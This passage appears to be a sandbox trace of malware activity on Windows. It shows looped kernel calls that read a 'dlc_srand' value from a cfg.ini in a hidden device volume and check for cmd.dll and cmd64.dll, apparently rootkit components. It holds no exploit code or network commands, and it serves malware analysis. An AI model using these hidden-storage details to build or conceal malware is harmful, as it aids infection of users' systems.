_Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.876] KeEnterCriticalRegion () [0123.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.876] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.876] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.876] KeLeaveCriticalRegion () [0123.876] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.876] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.876] KeEnterCriticalRegion () [0123.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.876] ExFreePoolWithTag (P=0xfffffa8003bec510, Tag=0x0) [0123.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.876] KeLeaveCriticalRegion () [0123.876] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.876] ReleaseMutex (hMutex=0xf0) returned 1 [0123.876] Sleep (dwMilliseconds=0x124f80) [0123.891] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.891] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.891] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.891] KeEnterCriticalRegion () [0123.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.891] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.891] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.891] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.891] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.891] IdePortDispatch () returned 0x103 [0123.891] KeWaitForMutexObject () returned 0x0 [0123.892] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.892] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.892] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.892] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.892] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.892] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bec510 [0123.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.892] KeLeaveCriticalRegion () [0123.892] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.892] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.892] KeEnterCriticalRegion () [0123.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.892] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.892] KeLeaveCriticalRegion () [0123.892] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.892] KeEnterCriticalRegion () [0123.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.892] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.892] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.892] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.892] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.892] IdePortDispatch () returned 0x103 [0123.892] KeWaitForMutexObject () returned 0x0 [0123.892] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.892] KeLeaveCriticalRegion () [0123.892] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.893] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.893] KeEnterCriticalRegion () [0123.893] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.893] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ab000 [0123.893] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.893] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.893] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.893] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.893] IdePortDispatch () returned 0x103 [0123.893] KeWaitForMutexObject () returned 0x0 [0123.893] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.893] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.893] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.893] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.893] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.893] IdePortDispatch () returned 0x103 [0123.893] KeWaitForMutexObject () returned 0x0 [0123.893] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.893] KeLeaveCriticalRegion () [0123.893] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.894] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.894] KeEnterCriticalRegion () [0123.894] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.894] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.894] KeLeaveCriticalRegion () [0123.894] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.894] KeEnterCriticalRegion () [0123.894] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.894] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.894] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bed200, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.894] KeLeaveCriticalRegion () [0123.894] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.894] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.894] KeEnterCriticalRegion () [0123.894] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.894] ExFreePoolWithTag (P=0xfffffa8003bec510, Tag=0x0) [0123.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.894] KeLeaveCriticalRegion () [0123.894] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.894] ReleaseMutex (hMutex=0xf0) returned 1 [0123.894] Sleep (dwMilliseconds=0x124f80) [0123.911] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.911] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.911] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.911] KeEnterCriticalRegion () [0123.911] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.911] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.911] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.911] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.911] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.911] IdePortDispatch () returned 0x103 [0123.912] KeWaitForMutexObject () returned 0x0 [0123.912] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.912] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.912] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.912] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.912] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.912] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bee970 [0123.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.912] KeLeaveCriticalRegion () [0123.912] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.912] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.912] KeEnterCriticalRegion () [0123.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.912] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.912] KeLeaveCriticalRegion () [0123.912] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.912] KeEnterCriticalRegion () [0123.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.912] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.912] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.912] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.912] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.912] IdePortDispatch () returned 0x103 [0123.912] KeWaitForMutexObject () returned 0x0 [0123.914] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.914] KeLeaveCriticalRegion () [0123.914] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.915] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.915] KeEnterCriticalRegion () [0123.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.915] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b0000 [0123.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.915] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.915] IdePortDispatch () returned 0x103 [0123.915] KeWaitForMutexObject () returned 0x0 [0123.915] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.915] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.915] IdePortDispatch () returned 0x103 [0123.915] KeWaitForMutexObject () returned 0x0 [0123.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.915] KeLeaveCriticalRegion () [0123.915] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.916] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.916] KeEnterCriticalRegion () [0123.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.916] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.916] KeLeaveCriticalRegion () [0123.916] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.916] KeEnterCriticalRegion () [0123.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.916] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.916] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bee830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.916] KeLeaveCriticalRegion () [0123.916] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.916] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.916] KeEnterCriticalRegion () [0123.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.916] ExFreePoolWithTag (P=0xfffffa8003bee970, Tag=0x0) [0123.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.916] KeLeaveCriticalRegion () [0123.916] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.917] ReleaseMutex (hMutex=0xf0) returned 1 [0123.917] Sleep (dwMilliseconds=0x124f80) [0123.934] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.934] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.934] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.934] KeEnterCriticalRegion () [0123.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.934] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.934] IdePortDispatch () returned 0x103 [0123.934] KeWaitForMutexObject () returned 0x0 [0123.935] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.935] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.935] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.935] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.935] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.935] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be8610 [0123.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.935] KeLeaveCriticalRegion () [0123.935] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.935] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.935] KeEnterCriticalRegion () [0123.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.935] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.935] KeLeaveCriticalRegion () [0123.935] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.935] KeEnterCriticalRegion () [0123.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.935] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.935] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.935] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.935] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.935] IdePortDispatch () returned 0x103 [0123.935] KeWaitForMutexObject () returned 0x0 [0123.935] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.935] KeLeaveCriticalRegion () [0123.935] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.936] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.936] KeEnterCriticalRegion () [0123.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.936] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b5000 [0123.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.936] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.936] IdePortDispatch () returned 0x103 [0123.936] KeWaitForMutexObject () returned 0x0 [0123.936] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.936] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.936] IdePortDispatch () returned 0x103 [0123.936] KeWaitForMutexObject () returned 0x0 [0123.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.936] KeLeaveCriticalRegion () [0123.936] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.937] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.937] KeEnterCriticalRegion () [0123.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.937] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.937] KeLeaveCriticalRegion () [0123.937] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.937] KeEnterCriticalRegion () [0123.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.937] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.937] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bed200, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.937] KeLeaveCriticalRegion () [0123.937] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.937] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.937] KeEnterCriticalRegion () [0123.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.937] ExFreePoolWithTag (P=0xfffffa8003be8610, Tag=0x0) [0123.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.937] KeLeaveCriticalRegion () [0123.937] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.937] ReleaseMutex (hMutex=0xf0) returned 1 [0123.938] Sleep (dwMilliseconds=0x124f80) [0123.954] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.954] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.954] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.954] KeEnterCriticalRegion () [0123.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.954] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.954] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.954] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.954] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.954] IdePortDispatch () returned 0x103 [0123.954] KeWaitForMutexObject () returned 0x0 [0123.954] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.954] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.954] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", 